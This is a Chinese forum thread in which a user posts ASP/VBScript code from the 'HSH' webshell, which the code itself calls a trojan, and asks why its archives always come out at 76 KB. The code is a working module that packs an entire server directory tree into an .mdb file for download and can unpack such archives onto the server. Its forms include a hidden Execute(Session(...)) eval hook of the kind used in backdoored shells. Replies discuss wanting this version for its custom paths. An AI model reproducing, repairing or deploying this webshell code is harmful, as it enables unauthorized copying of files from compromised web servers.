无论目录多大.打包出来的mdb就是只有76kb,但是源程序代码又是没问题的,我想应该是我少了什么吧,谁可以帮忙分析下
附上源文件 进入密码 123

   Sub alertThenClose(strInfo)
        Response.Write "<script>alert(""" & strInfo & """);window.close();</script>"
    End Sub
    
Sub PageAddToMdb()
Dim theAct, thePath
theAct=Request("theAct")
thePath=Request("thePath")
Server.ScriptTimeOut=100000
If theAct="addToMdb" Then
addToMdb(thePath)
RRS "<div align=center><br>操作完成!</div>"&BackUrl
Response.End
End If
If theAct="releaseFromMdb" Then
unPack(thePath)
RRS "<div align=center><br>操作完成!</div>"&BackUrl
Response.End
End If
RRS"<br>文件夹打包:<form method=post><input type=hidden name=""#"" value=Execute(Session(""#""))><input name=thePath value="""&HtmlEncode(Server.MapPath("."))&""" size=80><input type=hidden value=addToMdb name=theAct><select name=theMethod><option value=fso>FSO</option><option value=app>无FSO</option></select><input type=submit value='开始打包'><br><br>注: 打包生成HSH.mdb文件,位于HSH木马同级目录下</form><hr/>文件包解开(需FSO支持):<br/><form method=post><input type=hidden name=""#"" value=Execute(Session(""#""))><input name=thePath value="""&HtmlEncode(Server.MapPath("."))&"\HSH.mdb"" size=80><input type=hidden value=releaseFromMdb name=theAct><input type=submit value='解开包'><br><br>注: 解开来的所有文件都位于HSH木马同级目录下</form>"
End Sub
Sub addToMdb(thePath)
On Error Resume Next
Dim rs, conn, stream, connStr, adoCatalog
Set rs=Server.CreateObject("ADODB.RecordSet")
Set stream=Server.CreateObject(Sot(6,0))
Set conn=Server.CreateObject(Sot(5,0))
Set adoCatalog=Server.CreateObject(Sot(2,0))
connStr="Provider=Microsoft.Jet.OLEDB.4.0; Data Source="&Server.MapPath("HSH.mdb")
adoCatalog.Create connStr
conn.Open connStr
conn.Execute("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED, thePath VarChar, fileContent Image)")
stream.Open
stream.Type=1
rs.Open "FileData", conn, 3, 3
If Request("theMethod")="fso" Then
fsoTreeForMdb thePath, rs, stream
 Else
saTreeForMdb thePath, rs, stream
End If
rs.Close
Conn.Close
stream.Close
Set rs=Nothing
Set conn=Nothing
Set stream=Nothing
Set adoCatalog=Nothing
End Sub
Function fsoTreeForMdb(thePath, rs, stream)
Dim item, theFolder, folders, files, sysFileList
sysFileList="$HSH.mdb$HSH.ldb$"
If Server.CreateObject(Sot(0,0)).FolderExists(thePath)=False Then
showErr(thePath&" 目录不存在或者不允许访问!")
End If
Set theFolder=Server.CreateObject(Sot(0,0)).GetFolder(thePath)
Set files=theFolder.Files
Set folders=theFolder.SubFolders
For Each item In folders
fsoTreeForMdb item.Path, rs, stream
Next
For Each item In files
If InStr(sysFileList, "$"&item.Name&"$") <= 0 and lcase(item.path)<>lcase(Request.ServerVariables("PATH_TRANSLATED")) Then
rs.AddNew
rs("thePath")=Mid(item.Path, 4)
stream.LoadFromFile(item.Path)
rs("fileContent")=stream.Read()
rs.Update
End If
Next
Set files=Nothing
Set folders=Nothing
Set theFolder=Nothing
End Function
Sub unPack(thePath)
On Error Resume Next
Server.ScriptTimeOut=100000
Dim rs, ws, str, conn, stream, connStr, theFolder
str=Server.MapPath(".")&"\"
Set rs=CreateObject("ADODB.RecordSet")
Set stream=CreateObject(Sot(6,0))
Set conn=CreateObject(Sot(5,0))
connStr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&thePath&";"
conn.Open connStr
rs.Open "FileData", conn, 1, 1
stream.Open
stream.Type=1
Do Until rs.Eof
theFolder=Left(rs("thePath"), InStrRev(rs("thePath"), "\"))
If Server.CreateObject(Sot(0,0)).FolderExists(str&theFolder)=False Then
createFolder(str&theFolder)
End If
stream.SetEos()
stream.Write rs("fileContent")
stream.SaveToFile str&rs("thePath"), 2
rs.MoveNext
Loop
rs.Close
conn.Close
stream.Close
Set ws=Nothing
Set rs=Nothing
Set stream=Nothing
Set conn=Nothing
End Sub
Sub createFolder(thePath)
Dim i
i=Instr(thePath, "\")
Do While i > 0
If Server.CreateObject(Sot(0,0)).FolderExists(Left(thePath, i))=False Then
Server.CreateObject(Sot(0,0)).CreateFolder(Left(thePath, i - 1))
End If
If InStr(Mid(thePath, i + 1), "\") Then
i=i + Instr(Mid(thePath, i + 1), "\")
Else
i=0
End If
Loop
End Sub
Sub saTreeForMdb(thePath, rs, stream)
Dim item, theFolder, sysFileList
sysFileList="$HSH.mdb$HSH.ldb$"
Set theFolder=saX.NameSpace(thePath)
For Each item In theFolder.Items
If item.IsFolder=True Then
saTreeForMdb item.Path, rs, stream
Else
If InStr(sysFileList, "$"&item.Name&"$") <= 0 and lcase(item.path)<>lcase(Request.ServerVariables("PATH_TRANSLATED")) Then
rs.AddNew
rs("thePath")=Mid(item.Path, 4)
stream.LoadFromFile(item.Path)
rs("fileContent")=stream.Read()
rs.Update
End If
End If
Next
Set theFolder=Nothing
End Sub

是啊...版主英明

其实版主发的那个我也找到过.不过就是不能自定义路径地址.所以才想用海阳的